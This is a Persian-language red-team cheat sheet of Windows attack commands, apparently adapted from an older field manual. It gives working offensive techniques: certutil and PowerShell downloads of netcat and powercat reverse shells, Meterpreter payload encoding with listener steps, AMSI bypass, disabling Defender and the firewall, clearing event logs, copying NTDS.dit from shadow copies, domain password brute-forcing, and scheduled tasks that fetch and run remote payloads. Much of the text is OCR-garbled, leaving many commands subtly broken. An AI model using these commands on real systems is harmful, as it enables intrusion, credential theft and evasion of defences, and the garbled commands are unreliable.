تیم قرمز

برگه رمز هایی برای نفوذگران

سرآغاز لینوکس ویندوز شبکه نکات و ترفند ها روش کار با ابزار ها وب پایگاه داده ها برنامه نویسی بی سیم مهندسی معکوس رمزنگاری پنهان نگاری ارزیابی اطلاعات(osint) منابع

ویندوز

نسخه ها

شماره یا ID نسخه ها
NT 3.1 Windows NT 3.1 (All)
NT 3.5 Windows NT 3.5 (All)
NT 3.51 Windows NT 3.51 (All)
NT 4.0 Windows NT 4.0 (All)
NT 5.0 Windows 2000 (All)
NT 5.1 Windows XP (Home, Pro, MC, Tablet PC, Starter, Embedded)
NT 5.2

Windows XP (64-bit, Pro 64-bit) Windows Server 2003 & R2 (Standard, Enterprise)

Windows Home Server

NT 6.0 Windows Vista (Starter, Home, Basic, Home Premium, Business, Enterprise, Ultimate)
NT 6.1 Windows 7 (Starter, Home, Pro, Enterprise, Ultimate) Windows Server 2008 R2 (Foundation, Standard, Enterprise)
NT 6.2 Windows 8 (x86/64, Pro, Enterprise, Windows RT (ARM)) Windows Phone 8 Windows Server 2012 (Foundation, Essentials, Standard)

فایل ها

دستور توضیح
%SYSTEMROOT% معمولا C:\Windows
%SYSTEMROOT%\System32\drivers\etc\hosts موجودیت های DNS
%SYSTEMROOT%\System32\drivers\etc\networks تنظیمات شبکه
%SYSTEMROOT% system32 config\SAM نام کاربری و هش کلمه عبور
%SYSTEMROOT%\repair\SAM کپی از SAM
%SYSTEMROOT%\System32\config\RegBack\SAM تهیه پشتیبان از کپی SAM
%WINDIR%\system32\config\AppEvent.Evt گزارشات برنامه ها
%WINDIR%\system32\config\SecEvent.Evt گزارشات امنیت
%ALLUSERSPROFILE%\Start Menu\Programs\Startup\ مسیر راه انداز
%USERPROFILE%\Start Menu\Programs\Startup\ مسیر راه انداز
%SYSTEMROOT%\Prefetch مسیر Prefetch (EXE گزارشات)

مسیر های راه انداز

برای WINDOWS NT 6.1,6.0

# All users
%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 
# Specific users
%SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 

برای WINDOWS NT 5.2, 5.1, 5.0

%SystemDrive%\Documents and Settings\All Users\Start Menu\Programs\Startup

برای WINDOWS 9x

%SystemDrive%\wmiOWS\Start Menu\Programs\Startup

برای WINDOWS NT 4. 0, 3. 51, 3. 50

%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\Startup

دستورات اطلاعات سیستم

دستور توضیح
ver نسخه سیستم عامل
sc query state=all نمایش سرویس ها
tasklist /svc نمایش فرآیند و سرویس ها
tasklist /m نمایش کلیه فرآیند ها و dll ها
tasklist /S ip /v فرآیند های در حال اجرا از راه دور
taskkill /PID pid /F حذف اجباری فرآیند
systeminfo /S ip /U domain\user /P Pwd دریافت اطلاعات سیستم از راه دور
reg query \ ip \ RegDomain \ Key /v VALUE ارسال پرس و جو به رجیستری, /s=all values
reg query HKLM /f password /t REG_SZ /s جست و جو رجیستری برای کلمه عبور ها
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate آدرس WSUS
fsutil fsinfo drives لیست درایور ها •نیاز به دسترسی admin
dir /a /s /b c:'.pdf’ جست و جو برای کلیه فایل های pdf
dir /a /b c:\windows\kb’ جست و جو برای patche ها
findstr /si password’ .txt I •.xmll •.xls جست و جو در فایل های برای کلمه عبور ها
tree /F /A c: tree.txt لیست فولدر های درایو C:
reg save HKLM\Security security.hive ذخیره hive های امنیت درون فایل
echo %USERNAME% کاربر جاری
whoami /priv دسترسی های کاربر جاری

دستور net/domain

دستور توضیح
net view /domain هاست هاری دامین جاری
net view /domain: [MYDOMAIN] هاست های در [MYDOMAIN]
net user /domain کلیه کاربران دامین جاری
net user user pass /add اضافه نموده کاربر
net localgroup "Administrators" user /add اضافه نموده کاربر به Administrator ها
net accounts /domain سیاست های کلمه عبور دامین
net localgroup "Administrators" لیست Admin های محلی
net group /domain لیست گروه های دامنه
net group "Domain Admins" /domain لیست کاربران Admin در دامین
net group "Domain Controllers" /domain لیست DC ها برای دامین جاری
net share محیط اشتراکی SMB
net session I find I "\" لیست نشست های فعال SMB
net user user /ACTIVE:yes /domain گشودن دامین دامین
net user user '' newpassword '' /domain تغییر نام کاربری و کلمه عبور دامین

net share share c:\share

/GRANT:Everyone,FULL

فولدر به اشتراک گذاشته شده

دستورات از راه دور

دستور توضیح
tasklist /S ip /v فرآیند های در حال اجرا در ip
systeminfo /S ip /U domain\user /P Pwd اطلاعات مربوط به ip
net share \\ ip محیط اشتراکی ip
net use \\ ip فایل سیستم ip

net use z: \\ ip \share password

/user: DOMAIN user

Map drive, specified

credentials

reg add \\ ip \ regkey \ value اضافه نموده کلید رجیستری برای ip

sc \\ ip create service

binpath=C:\Windows\System32\x.exe start= auto

Create a remote service

(space after start=)

cmd.exe /c certutil -urlcache -split -f http://ip/nc.exe c:/windows/temp/nc.exe کپی فایل از ip به سیستم جاری توسط cmd.exe
cmd.exe /c c:/windows/temp/nc.exe ip port -e cmd.exe شل reverse
nc.exe -lvvp port گوش دادن به port خاص
python3 -m http.server port ایجاد وبسرور
xcopy /s \\ ip \dir C:\local کپی از فودر ip
shutdown /m \\ ip /r /t 0 /f راه اندازی مجدد سیستم با ip

دستورات شبکه

دستور توضیح
ipconfig I all تنظیمات ip
ipconfig /displaydns حافظه نهان DNS
netstat -ana بازنمودن ارتباط
netstat -anop tcp 1 ایجاد Netstat loop
netstat -ani findstr LISTENING پورت های در حال استفاده
route print جداول Route
arp -a دریافت MAC های سیستم (با استفاده از جدول ARP)

nslookup, set type=any, ls -d domain

results.txt, exit

دریافت DNS Zone Xfer
nslookup -type=SRV _www._tcp.url.com دریافت Domain SRV lookup ( ldap, kerberos, sip)
tftp -I ip GET remotefile انتقال فایل در TFTP
netsh wlan show profiles پروفایل های ذخیره شده در شبکه بی سیم
netsh firewall set opmode disable غیر فعال سازی فایروال ('Old)
netsh wlan export profile folder=. key=clear استخراج wifi به صورت plaintext
netsh interface ip show interfaces لیست IDs/MTUs مربوط به interface ها

netsh interface ip set address local static

ip nmask gw ID

تنظیم IP
netsh interface ip set dns local static ip تنظیم سرور DNS
netsh interface ip set address local dhcp تنظیم interface برای استفاده از DHCP

دستورات کاربردی

دستور توضیح
type file نمایش محتویات فایل
del path \' .• /a /s /q /f حذف فایل های در مسیر جاری

find /I ''str'' filename

command I find /c /v ""

لیست خروجی های cmd
at HH:MM file [args] (i.e. at 14:45 cmd /c) زمان بندی اجرایی فایل
runas /user: user " file [args]" اجرای فایل با کاربر خاص
restart /r /t 0 راه اندازی مجدد
sc stop UsoSvc توقف سرویس UsoSvc
sc start UsoSvc راه اندازی سرویس UsoSvc
sc config UsoSvc binpath="c:\windows\temp\nc.exe ip port -e C:\windows\system32\cmd.exe" تغییر مسیر فایل اجرایی توسط UsoSvc
tr -d '\15\32' win.txt unix.txt حذف CR & 'Z ('nix)
makecab file فشرده سازی
Wusa.exe /uninstall /kb: ### حذف patch

cmd.exe "wevtutil qe Application /c:40

/f:text /rd:true"

استفاده از Event Viewer در CLI
lusrrngr.msc استفاده از Local user manager
services.msc استفاده از Services control panel
taskmgr.exe استفاده از Task manager
secpool.rnsc استفاده از Security policy manager
eventvwr.rnsc استفاده از Event viewer

MISC. commands

قفل نمودن workstation

rundll32.dll user32.dll LockWorkstation 

غیر فعال سازی فایروال ویندوز

netsh advfirewall set currentprofile state off netsh advfirewall set allprofiles state off 

ایجاد port forward (*نیاز به دسترسی admin)

netsh interface portproxy add v4tov4 listenport=3000 listenaddress=l.l.l.l connectport=4000 connectaddress=2.2.2.2 
#Remove
netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=l.l.l.l 

فعال سازی cmd

reg add HKCU\Software\Policies\t1icrosoft\Windows\System /v DisableCHD /t REG DWORD /d 0 /f 

دستور PSEXEC

اجرای فایل از راه دور با اطلاعات هویتی خاص

psexec /accepteula \\ targetiP -u domain\user -p password -c -f \\ smbiP \share\file.exe 

اجرای دستور با هش خاص

psexec /accepteula \\ ip -u Domain\user -p Lt1 c:\Progra-1 

اجرا دستور بر روی سیستم از راه دور

psexec /accepteula \\ ip -s cmd.exe 

سرویس Terminal (RDP)

شروع RDP

Create regfile.reg file with following line in it: HKEY LOCAL t1ACHINE\SYSTEH\CurrentControlSet \Control\ TerminalService 
"fDenyTSCo~nections"=dword: 00000000
reg import reg file. reg 
net start ''terrnservice'' 
sc config terrnservice start= auto 
net start terrnservice 

    --OR--
reg add "HKEY LOCAL t1ACHINE\SYSTEH\CurentControlSet\Control \Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

تونل RDP از پورت 443 (نیاز به راه اندازی مجدد سرویس terminal)

REG ADD "HKLt1\System\CurrentControlSet\Control \Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 443 /f 

حذف احراز هویت شبکه با اضافه نمودن exception در فایروال

reg add "HKEY LOCAL t1ACHINE\SYSTEt1\CurentControlSet\Control \Terminal
Server\WinStations\RDP-TCP" /v UserAuthentication /t REG_DWORD /d "0" /f 

netsh firewall set service type = remotedesktop mode = enable 

وارد نمودن task از فایل XML

schtasks.exe /create /tn t1yTask /xml "C:\MyTask.xml" /f

دستور WMIC

دستور توضیح
wmic [alias] get /? لیست کلیه ویژگی ها
wmic [alias] call /? متد Callable
wmic process list full ویژگی های فرآیند ها
wmic startupwmic service شروع سرویس wmic
wmic ntdomain list اطلاعات دامین و DC
wmic qfe لیست کلیه patches
wrnic process call create "process_name" اجرای فرآیند

wmic process where name="process" call

terminate

حذف فرآیند
wmic logicaldisk get description,name نمایش محیط اشتراکی منطقی
wmic cpu get DataWidth /format:list نمایش نسخه 32 بیتی یا 64 بیتی سیستم
wmic service where started = true get name, startname نمایش سرویس های اجرا شده

WMIC [alias] [where] [clause]

[alias] == process, share, startup, service, nicconfig, useraccount, etc. 
[where] ==where (name="cmd.exe"), where (parentprocessid!=[pid]"), etc. 
[clause] ==list [fulllbrief], get [attribl, attrib2], call [method], delete

اجرا فایل در smb با اطلاعات هویتی خاص

wmic /node: targetiP /user:domain\user /password:password process call create "\ \ smbiP \share\evil.exe" 

حذف نرم افزار

wmic product get name /value # Get software names 
wmic product where name="XXX" call uninstall /nointeractive 

دسترسی به کاربر از راه دور

wmic /node:remotecomputer computersystern get username 

نمایش فرآیند ها به صورت لحظه ای

wmic /node:machinename process list brief /every:l 

شروع RDP

wmic /node:"machinename 4" path Win32_TerminalServiceSetting where 
AllowTSConnections=''O'' call SetAllowTSConnections ''1''

لیست زمان هایی که کاربر وارد شده

wmic netlogin where (name like "%adm%") get numberoflogons 

جست و جو سرویس ها برای مسیر های unquoted

wmic service get narne,displayname,pathnarne,startrnode 
| findstr /i nauton | findstr /i /v "C:\windows\\" | findstr /i /v """

کپی از Volume shadow

1. wmic /node: DC IP /user:"DOI1AIN\user" /password:"PASS" process 
   call create "cmd /c vssadmin list shadows 2 &1 
   c:\temp\output.txt" 
# If any copies alread1 ex~st then exfil, otherwise create using 
following commands. Check output.txt for anJ errors 
2. wmic /node: DC IP /user:"DOMAIN\user" /password:"PASS" process 
   call create "cmd /c vssadmin create shadow /for=C: 2 &1 
   C:\temp\output.txt" 
3. wmic /node: DC IP /user:"DOMAIN\user" /password:"PASS" process 
   call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVol~meShadowCopy1\Windows\System32\co nfig\SYSTEM 
   C:\temp\system.hive 2 &1  
   C:\temp\output.txt" 
4. wmic /node: DC IP /user: "DOl'.llUN\user" /password: "PASS" process call create ''cmd /c copy 
   \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyc\NTDS\NTDS.dit 
   C:\temp\ntds.dit 2 &1 C:\temp\output.txt" 
Step by step instructions on room362.com for step below 
5. From Linux, download and run ntdsxtract and libesedb to export 
   hashes or other domain information 
   a. Additional instructions found under the VSSOWN section 
   b. ntdsxtract - http://www.ntdsxtract.com 
   c. libesedb - http://code.google.com/p/libesedb/ 

محیط POWERSHELL

Command Description
stop-transcript توقف ضبط
get-content file نمایش محتویات فایل
get-help command -examples نمایش نمونه دستور
get-command ‘string’ جست و جو برای cmd
get-service نمایش سرویس ها (stopservice, start-service)
get-wmiobject -class win32 service نمایش سرویس ها به همان اطلاعات هویتی
$PSVesionTable نمایش نسخه powershell
powershell.exe -version 2.0 اجرای powershell 2.0 از نسخه 3.0
get-service measure-object اطلاعات برگشت داده شده از سرویس
get-psdrive لیست برگشت داده شده از PSDrives
get-process select -expandproperty name نمایش نام ها
get-help ‘ -parameter credential دریافت اطلاعات هویتی
get-wmiobject -list -‘network’ WMI موجود در شبکه
(Net.DNS]: :GetnostEntry(” ip “I فرآیند DNS Lookup
powershell.exe wget “http://10.10.10.10/nc.exe” -outfile “c:\temp\nc.exe” دریافت و ذخیره سازی فایل
poweshell.exe -c “IEX (New-Object System.Net.WebClient).DownloadString(‘http://10.10.10.10:8000/powercat.ps1’); powercat -c 10.10.10.100 -p 4444 -e cmd شل معکوس
https://gist.githubusercontent.com/zhilich/b8480f1d22f9b15d4fdde07ddc6fa4ed/raw/8078a51bbfa18df36d8e890fefe96a06891dd47d/SimpleHttpServer.ps1 وبسرور با پورت ۸۰۵۰
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 استفاده از mimikatz
فراخوانی فایل های ps1 Import-Module .\Invoke-Mimikatz.ps1
دریافت و ذخیره سازی فایل iwr -uri http://10.10.10.10/file -o file.exe

دورزدن AMSI

Import-Module .\Invoke-Obfuscation\Invoke-Obfuscation.psm1
Out-ObfuscatedTokenCommand -Path .\powerview.ps1 | Out-File out

یا

https://raw.githubusercontent.com/kmkz/Pentesting/master/AMSI-Bypass.ps1
. .\AMSI-Bypass.ps1
Invoke-AmsiBypass

غیرفعال سازی realtimemonitoring

powershell -command set-mpppreference -Disable realtimemonitoring $true

لیست تمامی کاربران

$users = New-Object DirectoryServices.DirectorySearcher
$users.Filter = "(&(objectclass=user))"
$users.SearchRoot = ''
$users.FindAll()

لیست تمامی domain ها

$computers = New-Object DirectoryServices.DirectorySearcher
$computers.Filter = "(&(objectclass=computer))"
$computers.SearchRoot = ''
$computers.FindAll()

دریافت اطلاعات هویتی AD با استفاده از doesnotrequirepreauth

Set-ADAccountControl -identity jorden -doesnotrequirepreauth 1

حذف گزارشات امنیت و برنامه ها(برای SVR01)

Get-EventLog -list 
Clear-EventLog -logname Application, Security -computername SVR01 

استخراج نسخه سیستم عامل در درون فایل CSV

Get-WmiObject -class win32 operatingsystem | select -property ' | 
export-csv c:\os.txt

لیست سرویس های در حال اجرا

Get-Service | where_object {$_.status -eq "Running"} 

استفاده از psdrive برای اشتراگ گذاری دائم

New-PSJrive -Persist -PSProvider FileSjstem -Root \\1.1.1.1\tools -Name i 

فایل های نوشته شده در تاریخ 8/20

Get-Childitem -Path c:\ -Force -Rec~rse -Filter '.log -ErrorAction
SilentlyContinue | where {$_.LastWriteTime -gt "2012-08-20"} 

دریافت فایل از http

(new-object sjstem.net.webclient) .downloadFile(''url'',''dest'') 

اتصالات پورت tcp(پویشگر)

$ports=(#,#,#) ;$ip="x.x.x.x";foreach ($port in $ports) {try
($socket=New-bject Sjstem.Net.Sockets.TCPClient($ip,$port); }catch(};
if ($socket -eq $NULL) (echo $ip":"$port"- Closed";}
else(echo $ip":"$port"- Open";$socket =$NULL;}}

دستور Ping با 500 millisecond timeout

$ping = New-Object Sjstex.Net.Networkinformation.ping 
$ping.Send('' ip '',5JO) 

پنجره Basic authentication

powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass 
$Host.UI.PromptForCredential(" title "," message "," user" "," domain") 

اجرای فایل exe (از cmd.exe)هر 4 ساعت بین تاریخ 8-11 آگوست 2013 وسایت 0800-1700

powershell. exe -Command "do {if ((Get-Date -format yyyyMMdd-HHmm) -match
'201308 ( 0 [ 8-9] |1 [0-1])-(0[ 8-9]]|1 [ 0-7]) [ 0-5] [ 0-9]') {Start-Process -
WindowStyle Hidden "C:\Temp\my.exe";Start-Sleep -s 14400))while(1)" 

اجرای Powershell به عنوان

$pw ~ convertto-securestring -string "PASSWORD" -asplaintext -force;
$pp ~ new-object -typename System.Management.Automation.PSCredential - 
argument list "DOMAIN\user", $pw;
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command 
&{Start-Process file.exe -verb runas)' 

ارسال کننده Email

powershell.exe Send-l-1ai1Hessage -to " email " -from " email " -subject 
"Subject" -a " attachment file path " -body "Body" -SmtpServer Target
Email Server IP 

فعال سازی دسترسی از راه دور به powershell (نیاز به اطلاعات هویتی)

net time \\ip
at \\ip time "Powershell -Command 'Enable-PSRemoting -Force'"
at \\ip time+1 "Powershell -Command 'Set-Item
wsman:\localhost\client\trustedhosts ''"
at \ \ip time+2 "Powershell -Command 'Restart-Service WinRM'"
Enter-PSSession -ComputerName ip -Credential username 

لیست hostname و ip برای کلیه دامین ها

Get-WmiObject -ComputerName DC -Namespace root\microsoftDNS -Class 
MicrosoftDNS _ ResourceRecord -Filter "domainname~' DOMAIN '" | select 
textrepresentation 

دانلود از Powershell از مسیر خاص

powershell.exe -noprofile -noninteractive -command 
"[System.Net.ServicePointManager] ::ServerCertificateValidationCallback = 
{$true); $source="""https:ll YOUR SPECIFIED IP I file.zip """; 
$destination="C:\rnaster.zip"; $http = new-object Systern.Net.WebClient;
$response= $http.DownloadFile($source, $destination);" 

نمایش داده های Powershell

Script will send a file ($filepath) via http to server ($server) via POST request. 
Must have web server listening on port designated in the $server
 
powershell.exe -noprofile -noninteractive -command 
"[S;stem.Net.ServicePointManager] ::ServerCertificateValidationCallback = 
{$true); $server="""http:// YOUR_SPECIFIED IP / folder """;
$filepath="C:\master.zip" $http= new=object System.Net.WebClient;
$response= $http.UploadFile($server,$filepath);" 

استفاده از powershell برای اجرای meterpreter از memory

Need Metasploit v4.5+ (msfvenom supports Powershell) 
Use Powershell (x86) with 32 bit Meterpreter payloads 
encodeMeterpreter.psl script can be found on next page 

در سیستم حمله کننده

1. ./msfvenom -p Wlndows/meterpreter/reverse https -f psh -a x86 LHOST=1.1.1.1 LPORT=443 audit.psl 
2. Move audit.psl into same folder as encodeMeterpreter.psl 
3. Launch Powershell (x86) 
4. powershell.exe -executionpolicy bypass encodeMeterpreter.psl 
5. Copy the encoded Meterpreter string

شروع listener در سیستم حمله کننده

1. ./msfconsole 
2. use exploit/multi/handler 
3. set payload windows/meterpreter/reverse https 
4. set LHOST 1. 1. 1. 1 
5. set LPORT 443 
6. exploit -j 

در سیستم هدف (اجرای powershell(x86))

1. powershell. exe -noexi t -encodedCommand paste encoded Meterpreter 
string here 
PROFIT 

Encodemeterpreter.ps1 [7]

# Get Contents of Script
$contents = Get-Content audit.psl
# Compress Script
$ms = New-Object IO.MemoryStream
$action = [IO.Compression.CompressionMode]: :Compress
$cs =New-Object IO.Compression.DeflateStream ($ms,$action)
$sw =New-Object IO.StreamWriter ($cs, [Text.Encoding] ::ASCII)
$contents I ForEach-Object {$sw.WriteLine($ I)
$sw.Close()
# Base64 Encode Stream
$code= [Convert]: :ToBase64String($ms.ToArray())
$command= "Invoke-Expression '$(New-Object IO.StreamReader('$(New-Object
IO. Compression. DeflateStream ('$(New-Object IO. t4emoryStream
(, '$ ( [Convert] : : FromBase64String ('"$code'") ) I I ,
[IO.Compression.Compressiont~ode]: :Decompress) I,
[Text.Encoding]: :ASCII)) .ReadToEnd() ;"
# Invoke-Expression $command
$bytes= [System.Text.Encoding] ::Unicode.GetBytes($command)
$encodedCommand = [Convert]: :ToBase64String($bytes)
# Write to Standard Out
Write-Host $encodedCommand

Copyright 2012 TrustedSec, LLC. All rights reserved.
Please see reference [7] for disclaimer

استفاده از powersehll برای راه اندازی meterpreter (روش دوم)

On bt attack box

1. msfpayload windows/rneterpreter/reverse tcp LHOST=10.1.1.1
LPORT~8080 R I msfencode -t psh -a x86

در سیستم حمله کننده

1. c:\ powershell
2. PS c:\ $cmd = ' PASTE THE CONTENTS OF THE PSH SCRIPT HERE '
3. PS c:\ $u = [System.Text.Encoding]: :Unicode.GetBytes($crnd)
4. PS c: \ $e = [Convert] ::ToBase64String($u)
5. PS c:\ $e
6. Copy contents of $e

شروع listener در سیستم حمله کننده

1. ./msfconsole
2. use exploit/multi/handler
3. set payload windows/meterpreter/reverse tcp
4. set LHOST 1.1.1.1
5. set LPORT 8080
6. exploit -j

در سیستم هدف (1:دانلود شل کد, 2:اجرا)

1.  c: \ powershell -noprofile -noninteracti ve -command " &
    {$client=new-object
    System.Net.WebClient;$client.DownloadFile('http://1.1.1.1/shell.txt
    ', 'c:\windows\temp\ shell.txt') )"
2.  c: \ powershell -noprofile -noninteracti ve -noexi t -command " &
    {$crnd~tjpe 'c:\windows\temp\ shell.txt';powershell -noprofilenoninteractive
    -noexit -encodedCornmand $cmd} "
PROFIT

شناسایی دامنه های آسیب پذیر با powerup

https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1
. .\PowerUp.ps1

رجیستری ویندوز

اطلاعات سیستم عامل

HKLM\Software\Microsoft\Windows NT\CurrentVersion

نام محصول

HKLM\Software\Microsoft\Windows NT\CurrentVersion /v
ProductNarne

تاریخ نصب

HKLM\Software\Microsoft\Windows NT\CurrentVersion /v InstallDate

نام ثبت شده

HKLM\Software\Microsoft\Windows NT\CurrentVersion /v RegisteredOwner

اطلاعات بوت سیستم

HKLM\Software\~icrosoft\Windows NT\CurrentVersion /v SystemRoot

اطلاعات Time zone (بر حسب دقیقه از utc)

HKLM\System\CurrentControlSet\Control\TimeZoneinformation /v ActiveTirneBias

نقشه درایور های شبکه

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive
MRU

دستگاه های mounte شده

HKLM\System\MountedDevices

دستگاه های usb

HKLM\System\CurrentControlSet\Enurn\USBStor

فعال سازی IP forwarding

HKEY_LOCAL_~ACHI~E\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters -
IPEnableRouter = 1

کلید های کلمه عبور: LSA secret cat certain vpn, autologon, other passwords

HKEY LOCAL MACHINE\Security\Policy\Secrets
HKCU\Software \Microsoft \Windows NT\CurrentVersion \Winlogon \autoadminlogon

اطلاعات Audit policy

HKLM\Security\Policy\PolAdTev

سرویس های کرنل و کاربر

HKLM\Software\Microsoft\Windows NT\CurrentControlSet\Services

نرم افزار های نصب شده در سیستم

HKLM\Software

نرم افزار های نصب شده برای کاربر

HKCU\Software

آخرین مستندات

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

آخرین موقعیت های کاربر

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisite
dtmu & \Opensavetmu

URL ها تایپ شده

HKCU\Software\Microsoft\Internet Explorer\TypedURLs

لیست های MRU

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

آخرین کلید رجیستری استفاده شده

HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\RegEdit /v LastKeY

مسیر های راه اندازی

HKLM\Software\Microsoft\Windows\CurrentVersion\Run & \Runonce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run & \Runonce
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load & \Run

فعال سازی Remote Desktop

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0

دریافت اطلاعات ویندوز با dsquery

لیست کاربران دامین

dsquery user -limit 0

لیست گروه های دامین domain=victim.com

dsquery group "cn=users, dc=victim, dc=com"

لیست مدیران دامین

dsquery group -name "domain admins" | dsget group -members -expand

لیست گروه های کاربر

dsquery user -name bob | dsget user -memberof -expand

دریافت id کاربر وارد شده

dsquery user -name bob | dsget user -samid

لیست کاربرانی که در دو هفته اخیر فعال نبوده اند

dsquery user -inactive 2

اضافه نمودن کاربر

dsadd user "CN=Bob,CN=Users,DC=victim,DC=com" -samid bob -pwd bobpassdisplaj
"Bob" -pwdneverexpires yes -memberof "CN=Domain
Admins,CN=Users,DC=victim,DC=com

حذف کاربر

dsrm -subtree -noprornpt "CN=Bob,CN=Users,DC=victim,DC=com"

لیست سیستم عامل های دامین

dsquery A "DC=victim,DC=com" -scope subtree -attr "en" "operatingSystem"
"operatingSjstemServicePack" -filter
" (& (objectclass=computer) (objectcategory=computer) (operatingSystem=Windows}
))"

لیست نام سایت ها

dsquery site -o rdn -limit 0

لیست کلیه subnet های درون سایت

dsquery subnet -site sitename -o rdn

لیست سرویس های درون سایت

dsquery server -site sitename -o rdn

دریافت سرور های دامین

dsquery ' domainroot -filter
" (& (objectCategory=Computer) (objectClass=Computer) (operatingSystem='Server'
) ) " -limit 0

لیست dc های سایت

dsquery "CN=Sites,CN=Configuration,DC=forestRootDomain" -filter
(objectCategory=Server)

اسکریپت نویسی

متغیر های اسکریپت های bash باید به شکل روبرو جایگزاری شوند %% برای مثال %%i

ایجاد ping sweep

for /L %i in (10,1,254) do@ (for /L %x in (10,1,254) do@ ping -n 1 -w 100
10.10.%i.%x 2 nul 1 find "Reply" && echo 10.10.%i.%x live.txt)

ایجاد loop درون file

for /F %i in ( file ) do command

عملیات brute forcer دامین

for /F %n in (names.txt) do for /F %pin (pawds.txt) do net use \\DC01\IPC$
/user: domain \%n %p 1 NUL 2 &1 && echo %n:%p && net use /delete
\\DCOl\IPC$ NUL

بسته شدن حساب(lockout.bat)

@echo Test run:
for /f %%U in (list.txt) do @for /1 %%C in (1,1,5) do @echo net use \\WIN-
1234\c$ /USER:%%U wrongpass

عملیت DHCP exhaustion

for /L %i
1.1.1.%i
in (2,1,254) do (netsh interface ip set address local static
netrnask gw ID %1 ping 127.0.0.1 -n l -w 10000 nul %1)

فرآیند DNS reverse lookup

for /L %i in (100, 1, 105)
dns.txt && echo Server:
do @ nslookup 1.1.1.%i I findstr /i /c:''Name''
1.1.1.%i dns.txt

جست و جو کلیه مسیر های برای یافتن فایلی هایی که در آن ها PASS است و نمایش جزییات آن فایل

forfi1es /P c:\temp /s /m pass -c "cmd /c echo @isdir @fdate @ftime
@relpath @path @fsize"

شبیه سازی دامین مخرب (کاربردی برای تست IDS)

# Run packet capture on attack domain to receive callout
# domains.txt should contain known malicious domains
for /L %i in (0,1,100) do (for /F %n in (domains.txt) do nslookup %n
attack domain NUL 2 &1 & ping -n 5 127.0.0.1 NUL 2 &1

عملیات IE web looper (ایجاد کننده ترافیک)

for /L %C in (1,1,5000) do @for %U in (www.yahoo.com www.pastebin.com
www.paypal.com www.craigslist.org www.google.com) do start /b iexplore %U &
ping -n 6 localhost & taskkill /F /IM iexplore.exe

دریافت دسترسی سرویس های اجرایی

for /f "tokens=2 delims='='" %a in ('wmic service list full | find /i
"pathname" I find /i /v "system32"') do @echo %a
c:\windows\temp\3afd4ga.tmp
for /f eol = " delims = " %a in (c:\windows\temp\3afd4ga.tmp) do cmd.exe
/c icacls ''%a''

راه اندازی مجدد در حال چرخش (جایگذاری /R با /S برای خاموش نمودن):

for /L %i in (2,1,254) do shutdown /r /m \\1.1.1.%i /f /t 0 /c "Reboot
message"

ایجاد shell با استفاده از vbs (نیاز به اطلاعات هویتی)

# Create .vbs script with the following
Set shell wscript.createobject("wscript.shell")
Shell.run "runas /user: user " & """" &
C:\Windows\System32\WindowsPowershell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -Nonlnteractive -ep bjpass -nop -c \" & """" & "IEX ((New-
Object Net.WEbClieil':).downloadstring(' url '))\" & """" & """"
wscript.sleep (100)
shell.Sendkeys " password " & "{ENTER}"

زمان بندی نمودن task

Scheduled tasks binary paths CANNOT contain spaces because everything
after the first space in the path is considered to be a command-line
argument. Enclose the /TR path parameter between backslash (\) AND
quotation marks ("):
... /TR "\"C:\Program Files\file.exe\" -x arg1"

زمان بندی نمودن task (ST=زمان شروع, SD=تاریخ شروع, ED=تاریخ پایان) *نیاز به دسترسی admin

SCHTASKS /CREATE /TN Task Name /SC HOURLY /ST HH:MM /F /RL HIGHEST /SD
MM/DD/YYYY /ED MM/DD/YYYY /tr "C:\my.exe" /RU DOMAIN/user /RP
password

زمان بندی نمودن همیشگی task [10]

For 64 bit use:
"C:\Windows\syswow64\WindowsPowerShell\vl.O\powershell.exe"
# (x86) on User Login
SCHTASKS /CREATE /TN Task Name /TR
"C:\Windows\System32\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -Noninteractive -ep bypass -nap -c 'IEX ((new-object
net.webclient) .downloadstring( ''http:// ip : port I payload'''))'" /SC
onlogon /RU System
# (x86) on System Start
SCHTASKS /CREATE /TN Task Name /TR
"C:\Windows\System32\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -Noninteractive -ep bypass -nap -c 'IEX ((new-object
net.webclient) .downloadstring("http:// ip : port I payload"))'" /SC
onstart /RU System
# (x86) on User Idle (30 Minutes)
SCHTASKS /CREATE /TN Task Name /TR
"C:\Windows\System32\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -Noninteractive -ep bjpass -nop -c 'IEX ((new-object
net.webclient) .downloadstring("http:// ip : port I payload"))'" /SC
onidle /i 30

دستورات کار با smb

ورود با کاربر خاص

smbclient -L 10.10.10.10 -U tlavel

ورود بدون کلمه عبور

smbclient -N -L 10.10.10.10

تغییر کلمه عبور

smbpasswd -r 10.10.10.10 -U tlavel

نمایش مسیر به اشتراک گذاشته شده

smbclient -L 10.10.10.10

نمایش مسیر مشخص

smbclient //10.10.10.10/forensic

ورود به شل

